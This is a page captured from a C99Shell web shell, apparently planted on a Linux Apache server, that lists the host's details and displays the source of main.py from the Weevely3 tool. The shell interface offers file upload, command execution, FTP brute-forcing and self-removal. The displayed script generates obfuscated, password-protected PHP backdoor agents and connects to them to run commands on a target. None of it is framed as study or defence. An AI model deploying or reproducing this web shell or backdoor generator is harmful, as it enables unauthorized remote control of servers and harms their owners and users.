!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/   drwxr-xr-x
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     main.py (3.55 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env python3
import glob
import os
import pprint
import sys

import argcomplete

from weevely.core import generate
from weevely.core import messages
from weevely.core import modules
from weevely.core.argparsers import CliParser
from weevely.core.config import agent_templates_folder_path
from weevely.core.config import obfuscators_templates_folder_path
from weevely.core.loggers import dlog
from weevely.core.loggers import log
from weevely.core.sessions import SessionFile
from weevely.core.sessions import SessionURL
from weevely.core.terminal import Terminal
from weevely.core.weexceptions import ArgparseError
from weevely.core.weexceptions import FatalException


if sys.stdout.encoding is None:
    print("Please set PYTHONIOENCODING=UTF-8 running 'export PYTHONIOENCODING=UTF-8' before starting Weevely.")
    sys.exit(1)


def main(arguments):
    if arguments.command == "generate":
        obfuscated = generate.generate(
            password=arguments.password, obfuscator=arguments.obfuscator, agent=arguments.agent
        )

        generate.save_generated(obfuscated, arguments.path)

        if arguments.path != "-":
            log.info(
                messages.generate.generated_backdoor_with_password_s_in_s_size_i
                % (arguments.path, arguments.password, len(obfuscated))
            )

        return

    if arguments.command == "terminal":
        session = SessionURL(url=arguments.url, password=arguments.password)

    elif arguments.command == "session":
        session = SessionFile(arguments.path)

    dlog.debug(pprint.pformat(session))

    modules.load_modules(session)

    if not arguments.cmd:
        Terminal(session).cmdloop()
    else:
        term = Terminal(session)
        term.precmd(arguments.cmd)
        term.onecmd(arguments.cmd)


def cli():
    parser = CliParser(prog="weevely")
    subparsers = parser.add_subparsers(dest="command")

    terminalparser = subparsers.add_parser("terminal", help="Run terminal or command on the target")
    terminalparser.add_argument("url", help="The agent URL")
    terminalparser.add_argument("password", help="The agent password")
    terminalparser.add_argument("cmd", help="Command", nargs="?")

    sessionparser = subparsers.add_parser("session", help="Recover an existing session")
    sessionparser.add_argument("path", help="Session file path")
    sessionparser.add_argument("cmd", help="Command", nargs="?")

    agents_available = [
        os.path.split(agent)[1].split(".")[0] for agent in glob.glob(f"{agent_templates_folder_path}/*.tpl")
    ]

    obfuscators_available = [
        os.path.split(agent)[1].split(".")[0] for agent in glob.glob(f"{obfuscators_templates_folder_path}/*.tpl")
    ]

    generateparser = subparsers.add_parser("generate", help="Generate new agent")
    generateparser.add_argument("password", help="Agent password")
    generateparser.add_argument("path", help="Agent file path")
    generateparser.add_argument(
        "-obfuscator",  # The obfuscation method
        choices=obfuscators_available,
        default="phar",
    )
    generateparser.add_argument(
        "-agent",  # The agent channel type
        choices=agents_available,
        default="obfpost_php",
    )

    parser.set_default_subparser("terminal")
    argcomplete.autocomplete(parser)

    try:
        arguments = parser.parse_args()
    except ArgparseError:
        parser.exit()

    try:
        main(arguments)
    except (KeyboardInterrupt, EOFError):
        log.info("Exiting.")
    except FatalException as e:
        log.critical(f"Exiting: {e}")


if __name__ == "__main__":
    cli()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0325 ]--